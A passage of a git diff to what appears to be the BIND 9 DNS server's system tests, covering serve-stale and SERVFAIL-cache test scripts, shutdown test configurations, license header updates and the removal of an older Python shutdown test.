 $DIG -p ${PORT} @10.53.0.3 data.example TXT > dig.out.test$n
-wait_for_log 5 "data.example resolver failure, stale answer used" ns3/named.run || ret=1
+wait_for_log 5 "data.example TXT resolver failure, stale answer used" ns3/named.run || ret=1
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (resolver failure" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "data\.example\..*3.*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
@@ -2197,6 +2533,14 @@ rndc_reload ns3 10.53.0.3
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+n=$((n+1))
+echo_i "check 'rndc serve-stale status' ($n)"
+ret=0
+$RNDCCMD 10.53.0.3 serve-stale status > rndc.out.test$n 2>&1 || ret=1
+grep '_default: stale cache enabled; stale answers enabled (stale-answer-ttl=3 max-stale-ttl=3600 stale-refresh-time=4)' rndc.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
 # Flush the cache to ensure the example/NS RRset cached during previous tests
 # does not override the authoritative delegation found in the root zone.
 n=$((n+1))
@@ -2206,6 +2550,15 @@ $RNDCCMD 10.53.0.3 flush > rndc.out.test$n 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+# Test that after flush, serve-stale configuration is not reset.
+n=$((n+1))
+echo_i "check serve-stale configuration is not reset after flush ($n)"
+ret=0
+$RNDCCMD 10.53.0.3 serve-stale status > rndc.out.test$n 2>&1 || ret=1
+grep '_default: stale cache enabled; stale answers enabled (stale-answer-ttl=3 max-stale-ttl=3600 stale-refresh-time=4)' rndc.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
 # Query name server with low fetch limits. The authoritative server (ans2) is
 # not responding. Sending queries for multiple names in the 'example' zone
 # in parallel causes the fetch limit for that zone (set to 1) to be
@@ -2214,34 +2567,34 @@ echo_i "sending queries for tests $((n+1))-$((n+4))..."
 $DIG -p ${PORT} @10.53.0.3 data.example TXT > dig.out.test$((n+1)) &
 $DIG -p ${PORT} @10.53.0.3 othertype.example CAA > dig.out.test$((n+2)) &
 $DIG -p ${PORT} @10.53.0.3 nodata.example TXT > dig.out.test$((n+3)) &
-$DIG -p ${PORT} @10.53.0.3 nxdomain.example TXT > dig.out.test$((n+4))
+$DIG -p ${PORT} @10.53.0.3 nxdomain.example TXT > dig.out.test$((n+4)) &
 
 wait
 
 # Expect SERVFAIL for the entries not in cache.
 n=$((n+1))
-echo_i "check stale data.example (fetch-limits dual-mode) ($n)"
+echo_i "check stale data.example TXT (fetch-limits dual-mode) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check stale othertype.example (fetch-limits dual-mode) ($n)"
+echo_i "check stale othertype.example CAA (fetch-limits dual-mode) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check stale nodata.example (fetch-limits dual-mode) ($n)"
+echo_i "check stale nodata.example TXT (fetch-limits dual-mode) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check stale nxdomain.example (fetch-limits dual-mode) ($n)"
+echo_i "check stale nxdomain.example TXT (fetch-limits dual-mode) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
@@ -2310,7 +2663,7 @@ status=$((status+ret))
 
 # prime the cache with CNAME and A; CNAME expires sooner
 n=$((n+1))
-echo_i "prime cache cname.example (stale-answer-client-timeout 1.8) ($n)"
+echo_i "prime cache cname.example A (stale-answer-client-timeout 1.8) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.3 cname.example A > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
diff --git a/bin/tests/system/serve-stale/tests_sh_serve_stale.py b/bin/tests/system/serve-stale/tests_sh_serve_stale.py
new file mode 100644
index 0000000000..3e6d3a1981
--- /dev/null
+++ b/bin/tests/system/serve-stale/tests_sh_serve_stale.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_serve_stale(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/setup.sh b/bin/tests/system/setup.sh
deleted file mode 100644
index 2bd20eaba2..0000000000
--- a/bin/tests/system/setup.sh
+++ /dev/null
@@ -1,31 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-#
-# Run a system test.
-#
-
-. ./conf.sh
-
-test $# -gt 0 || { echo "usage: $0 test-directory" >&2; exit 1; }
-
-test=$1
-shift
-
-test -d $test || { echo "$0: $test: no such test" >&2; exit 1; }
-
-# Set up any dynamically generated test data
-if test -f $test/setup.sh
-then
-   ( cd $test && $SHELL setup.sh "$@" )
-fi
-
-
diff --git a/bin/tests/system/sfcache/README b/bin/tests/system/sfcache/README
index 8f981b7c42..91b21264da 100644
--- a/bin/tests/system/sfcache/README
+++ b/bin/tests/system/sfcache/README
@@ -1,6 +1,13 @@
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
 
 The test setup for the SERVFAIL ncache tests has a secure root.
 
diff --git a/bin/tests/system/sfcache/clean.sh b/bin/tests/system/sfcache/clean.sh
index 888789cffc..e8bd8189fd 100644
--- a/bin/tests/system/sfcache/clean.sh
+++ b/bin/tests/system/sfcache/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/sfcache/ns1/named.conf.in b/bin/tests/system/sfcache/ns1/named.conf.in
index 6122dc1a51..4a9822d05b 100644
--- a/bin/tests/system/sfcache/ns1/named.conf.in
+++ b/bin/tests/system/sfcache/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/sfcache/ns1/root.db.in b/bin/tests/system/sfcache/ns1/root.db.in
index 9ee20905b7..1deb998277 100644
--- a/bin/tests/system/sfcache/ns1/root.db.in
+++ b/bin/tests/system/sfcache/ns1/root.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/sfcache/ns1/sign.sh b/bin/tests/system/sfcache/ns1/sign.sh
index 66a98237b0..a94ad582ab 100644
--- a/bin/tests/system/sfcache/ns1/sign.sh
+++ b/bin/tests/system/sfcache/ns1/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -20,7 +22,7 @@ zonefile=root.db
 
 (cd ../ns2 && $SHELL sign.sh )
 
-cp "../ns2/dsset-example$TP" .
+cp "../ns2/dsset-example." .
 
 keyname=$($KEYGEN -q -a "${DEFAULT_ALGORITHM}" -b "${DEFAULT_BITS}" -n zone $zone)
 
diff --git a/bin/tests/system/sfcache/ns2/example.db.in b/bin/tests/system/sfcache/ns2/example.db.in
index 594a549dec..c035ee8ffa 100644
--- a/bin/tests/system/sfcache/ns2/example.db.in
+++ b/bin/tests/system/sfcache/ns2/example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/sfcache/ns2/named.conf.in b/bin/tests/system/sfcache/ns2/named.conf.in
index 09c9d1c70c..afb5a86212 100644
--- a/bin/tests/system/sfcache/ns2/named.conf.in
+++ b/bin/tests/system/sfcache/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,7 +28,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/sfcache/ns2/sign.sh b/bin/tests/system/sfcache/ns2/sign.sh
index 5fd96c7e65..038d0790ec 100644
--- a/bin/tests/system/sfcache/ns2/sign.sh
+++ b/bin/tests/system/sfcache/ns2/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/sfcache/ns5/named.conf.in b/bin/tests/system/sfcache/ns5/named.conf.in
index b601a52636..272d65b515 100644
--- a/bin/tests/system/sfcache/ns5/named.conf.in
+++ b/bin/tests/system/sfcache/ns5/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,7 +28,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/sfcache/ns5/sign.sh b/bin/tests/system/sfcache/ns5/sign.sh
index 6a2d42bb0d..6ca88de19e 100644
--- a/bin/tests/system/sfcache/ns5/sign.sh
+++ b/bin/tests/system/sfcache/ns5/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/sfcache/setup.sh b/bin/tests/system/sfcache/setup.sh
index 7e4814590b..a51b814b94 100644
--- a/bin/tests/system/sfcache/setup.sh
+++ b/bin/tests/system/sfcache/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/sfcache/tests.sh b/bin/tests/system/sfcache/tests.sh
index c40970667d..d2aeee701f 100644
--- a/bin/tests/system/sfcache/tests.sh
+++ b/bin/tests/system/sfcache/tests.sh
@@ -1,19 +1,21 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 # shellcheck source=conf.sh
 . ../conf.sh
 
-set -e
-
 status=0
 n=0
 
diff --git a/bin/tests/system/sfcache/tests_sh_sfcache.py b/bin/tests/system/sfcache/tests_sh_sfcache.py
new file mode 100644
index 0000000000..d323b395c4
--- /dev/null
+++ b/bin/tests/system/sfcache/tests_sh_sfcache.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_sfcache(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/shutdown/clean.sh b/bin/tests/system/shutdown/clean.sh
index 8c82e0ed6b..d958521541 100644
--- a/bin/tests/system/shutdown/clean.sh
+++ b/bin/tests/system/shutdown/clean.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -14,4 +18,3 @@ rm -f ns*/rpz*.txt
 rm -f */named.conf
 rm -f */named.run
 rm -rf __pycache__
-rm -f *.status
diff --git a/bin/tests/system/shutdown/conftest.py b/bin/tests/system/shutdown/conftest.py
deleted file mode 100644
index bcacf8f2c3..0000000000
--- a/bin/tests/system/shutdown/conftest.py
+++ /dev/null
@@ -1,58 +0,0 @@
-############################################################################
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-############################################################################
-
-import os
-import pytest
-
-
-def pytest_configure(config):
-    config.addinivalue_line(
-        "markers", "dnspython: mark tests that need dnspython to function"
-    )
-
-
-def pytest_collection_modifyitems(config, items):
-    # pylint: disable=unused-argument,unused-import,too-many-branches
-    # pylint: disable=import-outside-toplevel
-
-    # Test for dnspython module
-    skip_dnspython = pytest.mark.skip(
-        reason="need dnspython module to run")
-    try:
-        import dns.query  # noqa: F401
-    except ModuleNotFoundError:
-        for item in items:
-            if "dnspython" in item.keywords:
-                item.add_marker(skip_dnspython)
-
-
-@pytest.fixture
-def named_port(request):
-    # pylint: disable=unused-argument
-    port = os.getenv("PORT")
-    if port is None:
-        port = 5301
-    else:
-        port = int(port)
-
-    return port
-
-
-@pytest.fixture
-def control_port(request):
-    # pylint: disable=unused-argument
-    port = os.getenv("CONTROLPORT")
-    if port is None:
-        port = 5301
-    else:
-        port = int(port)
-
-    return port
diff --git a/bin/tests/system/shutdown/ns1/named.conf.in b/bin/tests/system/shutdown/ns1/named.conf.in
index b0fbe616ce..f0f5210b30 100644
--- a/bin/tests/system/shutdown/ns1/named.conf.in
+++ b/bin/tests/system/shutdown/ns1/named.conf.in
@@ -1,6 +1,19 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 key rndc_key {
     secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -23,7 +36,7 @@ options {
 
 # Delegate .test domain to 10.53.0.2
 zone "." {
-    type master;
+    type primary;
     file "root.db";
     allow-transfer { none; };
 };
diff --git a/bin/tests/system/shutdown/ns1/root.db b/bin/tests/system/shutdown/ns1/root.db
index 2533685351..60f1b30ff9 100644
--- a/bin/tests/system/shutdown/ns1/root.db
+++ b/bin/tests/system/shutdown/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/shutdown/ns2/named.conf.in b/bin/tests/system/shutdown/ns2/named.conf.in
index 13aeb30a41..2ed91dc86b 100644
--- a/bin/tests/system/shutdown/ns2/named.conf.in
+++ b/bin/tests/system/shutdown/ns2/named.conf.in
@@ -1,6 +1,19 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 key rndc_key {
     secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -21,7 +34,7 @@ options {
 
 # 10.53.0.2 is authoritative for .test domain
 zone "test" {
-    type master;
+	type primary;
 	file "test.db";
 	allow-transfer { none; };
 };
diff --git a/bin/tests/system/shutdown/ns2/test.db b/bin/tests/system/shutdown/ns2/test.db
index f9c3b9f1f8..91c16ecd1b 100644
--- a/bin/tests/system/shutdown/ns2/test.db
+++ b/bin/tests/system/shutdown/ns2/test.db
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 $TTL 300
 
 @	IN	SOA	ns1 root.test. 2020040101 4h 1h 1w 60
diff --git a/bin/tests/system/shutdown/resolver/named.conf.in b/bin/tests/system/shutdown/resolver/named.conf.in
index d03539003c..5007579d33 100644
--- a/bin/tests/system/shutdown/resolver/named.conf.in
+++ b/bin/tests/system/shutdown/resolver/named.conf.in
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 logging {
 	channel basic {
 		file "named.run";
@@ -6,9 +19,10 @@ logging {
 	};
 	category default { basic; };
 };
+
 key rndc_key {
     secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/shutdown/resolver/root.db b/bin/tests/system/shutdown/resolver/root.db
index c50a9079ee..88e0ba834b 100644
--- a/bin/tests/system/shutdown/resolver/root.db
+++ b/bin/tests/system/shutdown/resolver/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/shutdown/setup.sh b/bin/tests/system/shutdown/setup.sh
index b7b68512a2..cdeab8291b 100644
--- a/bin/tests/system/shutdown/setup.sh
+++ b/bin/tests/system/shutdown/setup.sh
@@ -1,9 +1,11 @@
-#! /bin/sh
-#
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/shutdown/tests-shutdown.py b/bin/tests/system/shutdown/tests-shutdown.py
deleted file mode 100755
index 458a777b10..0000000000
--- a/bin/tests/system/shutdown/tests-shutdown.py
+++ /dev/null
@@ -1,198 +0,0 @@
-#!/usr/bin/python3
-############################################################################
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-############################################################################
-
-from concurrent.futures import ThreadPoolExecutor, as_completed
-import os
-import random
-import signal
-import subprocess
-from string import ascii_lowercase as letters
-import time
-
-import dns.resolver
-import pytest
-
-
-def do_work(named_proc, resolver, rndc_cmd, kill_method, n_workers, n_queries):
-    """Creates a number of A queries to run in parallel
-       in order simulate a slightly more realistic test scenario.
-
-       The main idea of this function is to create and send a bunch
-       of A queries to a target named instance and during this process
-       a request for shutting down named will be issued.
-
-       In the process of shutting down named, a couple control connections
-       are created (by launching rndc) to ensure that the crash was fixed.
-
-       if kill_method=="rndc" named will be asked to shutdown by
-       means of rndc stop.
-       if kill_method=="sigterm" named will be killed by SIGTERM on
-       POSIX systems or by TerminateProcess() on Windows systems.
-
-       :param named_proc: named process instance
-       :type named_proc: subprocess.Popen
-
-       :param resolver: target resolver
-       :type resolver: dns.resolver.Resolver
-
-       :param rndc_cmd: rndc command with default arguments
-       :type rndc_cmd: list of strings, e.g. ["rndc", "-p", "23750"]
-
-       :kill_method: "rndc" or "sigterm"
-       :type kill_method: str
-
-       :param n_workers: Number of worker threads to create
-       :type n_workers: int
-
-       :param n_queries: Total number of queries to send
-       :type n_queries: int
-    """
-# pylint: disable-msg=too-many-arguments
-# pylint: disable-msg=too-many-locals
-
-    # helper function, args must be a list or tuple with arguments to rndc.
-    def launch_rndc(args):
-        return subprocess.call(rndc_cmd + args, timeout=10)
-
-    # We're going to execute queries in parallel by means of a thread pool.
-    # dnspython functions block, so we need to circunvent that.
-    with ThreadPoolExecutor(n_workers + 1) as executor:
-
-        # Helper dict, where keys=Future objects and values are tags used
-        # to process results later.
-        futures = {}
-
-        # 50% of work will be A queries.
-        # 1 work will be rndc stop.
-        # Remaining work will be rndc status (so we test parallel control
-        #  connections that were crashing named).
-        shutdown = True
-        for i in range(n_queries):
-            if i < (n_queries // 2):
-                # Half work will be standard A queries.
-                # Among those we split 50% queries relname='www',
-                # 50% queries relname=random characters
-                if random.randrange(2) == 1:
-                    tag = "good"
-                    relname = "www"
-                else:
-                    tag = "bad"
-                    length = random.randint(4, 10)
-                    relname = "".join(letters[
-                        random.randrange(len(letters))] for i in range(length))
-
-                qname = relname + ".test"
-                futures[executor.submit(resolver.query, qname, 'A')] = tag
-            elif shutdown:  # We attempt to stop named in the middle
-                shutdown = False
-                if kill_method == "rndc":
-                    futures[executor.submit(launch_rndc, ['stop'])] = 'stop'
-                else:
-                    futures[executor.submit(named_proc.terminate)] = 'kill'
-            else:
-                # We attempt to send couple rndc commands while named is
-                # being shutdown
-                futures[executor.submit(launch_rndc, ['status'])] = 'status'
-
-        ret_code = -1
-        for future in as_completed(futures):
-            try:
-                result = future.result()
-                # If tag is "stop", result is an instance of
-                # subprocess.CompletedProcess, then we check returncode
-                # attribute to know if rncd stop command finished successfully.
-                #
-                # if tag is "kill" then the main function will check if
-                # named process exited gracefully after SIGTERM signal.
-                if futures[future] == "stop":
-                    ret_code = result
-
-            except (dns.resolver.NXDOMAIN,
-                    dns.resolver.NoNameservers,
-                    dns.exception.Timeout):
-                pass
-
-        if kill_method == "rndc":
-            assert ret_code == 0
-
-
-@pytest.mark.dnspython
-def test_named_shutdown(named_port, control_port):
-    # pylint: disable-msg=too-many-locals
-    cfg_dir = os.path.join(os.getcwd(), "resolver")
-    assert os.path.isdir(cfg_dir)
-
-    cfg_file = os.path.join(cfg_dir, "named.conf")
-    assert os.path.isfile(cfg_file)
-
-    named = os.getenv("NAMED")
-    assert named is not None
-
-    rndc = os.getenv("RNDC")
-    assert rndc is not None
-
-    # rndc configuration resides in ../common/rndc.conf
-    rndc_cfg = os.path.join("..", "common", "rndc.conf")
-    assert os.path.isfile(rndc_cfg)
-
-    # rndc command with default arguments.
-    rndc_cmd = [rndc, "-c", rndc_cfg, "-p", str(control_port),
-                "-s", "10.53.0.3"]
-
-    # We create a resolver instance that will be used to send queries.
-    resolver = dns.resolver.Resolver()
-    resolver.nameservers = ['10.53.0.3']
-    resolver.port = named_port
-
-    # We test named shutting down using two methods:
-    # Method 1: using rndc ctop
-    # Method 2: killing with SIGTERM
-    # In both methods named should exit gracefully.
-    for kill_method in ("rndc", "sigterm"):
-        named_cmdline = [named, "-c", cfg_file, "-f"]
-        with subprocess.Popen(named_cmdline, cwd=cfg_dir) as named_proc:
-            # Ensure named is running
-            assert named_proc.poll() is None
-            # wait for named to finish loading
-            for _ in range(10):
-                try:
-                    resolver.query('version.bind', 'TXT', 'CH')
-                    break
-                except (dns.resolver.NoNameservers, dns.exception.Timeout):
-                    time.sleep(1)
-
-            do_work(named_proc, resolver, rndc_cmd,
-                    kill_method, n_workers=12, n_queries=16)
